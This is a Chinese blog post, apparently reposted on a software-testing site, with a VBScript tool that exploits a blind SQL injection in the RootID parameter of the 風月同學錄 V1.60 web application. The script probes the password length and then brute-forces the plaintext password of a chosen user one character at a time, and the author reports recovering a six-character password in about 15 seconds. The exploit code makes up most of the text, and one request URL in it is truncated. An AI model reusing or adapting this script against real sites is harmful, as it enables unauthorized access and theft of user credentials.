非常古老且經典的一個,呵呵,試了下:
http://192.168.101.16/txl/ShowThrea...D=7%20and%201=1
http://192.168.101.16/txl/ShowThrea...D=7%20and%201=2
數據表結構我都知道,用戶名也都可以在用戶列表看出來,那么這個例子就演示一下猜解密碼,什么?太簡單了?只是個例子嘛,別笑哦~~寫的時候也不是一帆風順~~寫的很差,尤其循環里如果探測到正確的就應該退出循環,但是想不起來怎么退出了(break?exit?),不過對于這個密碼明文存放的程序來說已經夠了,一個6位的密碼用了15秒左右猜出,改進下會提高不少,但效率上始終和perl不能比了。
要使用這個對象要裝Microsoft ACT是Visual Studio.Net里一個工具,我在另一臺機器上直接用regsrv32注冊相關的dll失敗了,所以還是要裝一下。
'*********************************************
'風月同學錄V1.60漏洞測試腳本 by luoluo
'注意:需要裝Visual Studio.Net里的ACT工具
'*********************************************
Option Explicit
On Error Resume Next
Dim Test
Dim o_Response
Dim Wrong
Dim i,j,k
Dim pwd_len
Dim pwd
Dim strings
Dim username
'從命令行得到要破解的人的用戶名
If WScript.Arguments.Count > 0 Then
username = WScript.Arguments(0)
Else
username = "luoluo"
End If
WScript.Echo "開始探測,請等待... ..."
'正確頁面的標志,這個隨便找的,因為只要是兩個頁面返回的不同部分就可以了
Wrong = "luoluoisachinesehacker"
'存放密碼
pwd = ""
'密碼的字符范圍
strings = "0123456789abcdefghijklmnopqrstuvwxyz"
'建立對象
Set Test = CreateObject("ACT.Test")
'得到用戶的密碼的長度
For i = 0 to 128 step 1
'發送請求,返回一個Response對象,地址長可以用&分成段,那樣好看一些
Set o_Response = Test.SendRequest(" & i & "'%20and%20userid='" & username & "')")
'如果返回的頁面里有正確標志那么長度就對了
If instr(o_Response.Body, Wrong) <> 0 Then
pwd_len = "" & i & ""
End If
Next
'猜解用戶的密碼
For j = 1 to pwd_len step 1
For k = 1 to len(strings) step 1
Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")='" & pwd & mid(strings,k,1) & "'%20and%20userid='" & username & "')")
If instr(o_Response.Body, Wrong) <> 0 Then
pwd = pwd & mid(strings,k,1)
End If
Next
Next
If err Then
WScript.Echo "錯誤:" & Error.Description
Error.Clear
Else
'輸出密碼
WScript.Echo "密碼:" & pwd
End If
Set Test = nothing
文章來源于領測軟件測試網 http://www.kjueaiud.com/